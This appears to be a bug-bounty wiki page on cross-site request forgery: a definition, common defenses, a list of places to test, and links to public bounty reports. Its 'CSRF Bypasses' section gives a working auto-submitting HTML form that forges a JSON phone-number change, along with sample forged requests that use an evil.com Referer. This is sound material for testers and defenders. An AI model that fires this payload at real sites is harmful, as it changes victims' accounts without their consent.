CSRF

CWE-352: Cross-Site Request Forgery (CSRF)

What it is ??

Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated.

CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP

Methodology

image

CSRF Common Defenses

Usinf CSRF Tokens to Prevent CSRF Attacks
Full Diagram For Methods to Prevent CSRF Attacks
  1. CSRF Tokens

  2. SameSite Cookie

  3. Json Content-Type

  4. Requiring Re-authentication for Sensitive Actions

  5. Double Submit Cookie Pattern

  6. Origin and Referer Header Validation

  7. Captchas

  8. Custom Request Headers

CSRF Bypasses

<html>
  <head><meta name="referrer" content="unsafe-url"></head>
  <body>
  <script>history.pushState('', '', '/')</script>
  <form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain">
    <input type="hidden"
    name= '{"phone":"01111111118","a":"' value='"}'>
    </form>
    <script>
      history.pushState("", "", "/anything@account.example.com")
      document.forms[0].submit();
    </script>
  </body>
</html>

------------------------------
# Request
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Referer: https://evil.com/test@example.com

{"phone":"01111111118","a":""}
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Content type: application/json

{"phone":"01111111118","a":""}
--------------
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Content type: application/x-www-form-urlencoded

phone=01111111118
-----------------------------
POST /phone.json
Host: account.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Content type: plain/text

phone=01111111118

Slides

Where To Find

  1. Authentication-Required Actions: Look for actions that require authentication, such as changing account settings, updating passwords, or making transactions. These are common areas where CSRF vulnerabilities can have significant impact.

  2. User Profile Changes: Check for actions related to user profile changes, such as updating email addresses, changing personal information, or modifying profile pictures.

  3. Account Deletion or Suspension: Actions that allow a user to delete or suspend their account could be targets for CSRF attacks.

  4. Payment and Transactional Actions: Look for payment-related actions like making transactions, adding payment methods, or modifying subscription plans.

  5. Form Submissions: Any action that involves form submissions could potentially be a target. This includes actions like submitting support tickets, submitting feedback, or submitting any kind of content.

  6. CSRF Tokens: Some applications use CSRF tokens as a mitigation technique. Look for instances where CSRF tokens are missing or improperly validated. You might find CSRF tokens in hidden fields within HTML forms or as headers in AJAX requests.

  7. Third-Party Integrations: If the application integrates with third-party services or APIs, check if these integrations are susceptible to CSRF attacks.

  8. Changing Security Settings: Actions related to changing security settings, like enabling two-factor authentication (2FA) or changing security questions, can also be targets.

  9. Privilege Escalation: Actions that involve escalating user privileges, such as changing a user's role or permissions, should be thoroughly tested for CSRF vulnerabilities.

  10. Logging Out: Even the logout functionality can be exploited through CSRF attacks, forcing a victim to unknowingly log out.

  11. Password Reset: If the password reset process doesn't include proper CSRF protections, an attacker could potentially change a user's password without their consent.

  12. test login, logout, reset pass, change password, add-cart, like, comment, profile change, user details change, balance transfer, subscription, etc

Write-ups

Reports

  1. CSRF on connecting Paypal as Payment Provider to Shopify - 287 upvotes, $500

  2. CSRF leads to a stored self xss to Imgur - 141 upvotes, $500

  3. Slack integration setup lacks CSRF protection to HackerOne - 134 upvotes, $2500

  4. CSRF to HTML Injection in Comments to WordPress - 94 upvotes, $950

  5. [CRITICAL] Full account takeover using CSRF to Twitter - 79 upvotes, $5040

  6. CSRF Account Takeover to TikTok - 78 upvotes, $2373

Last updated

Was this helpful?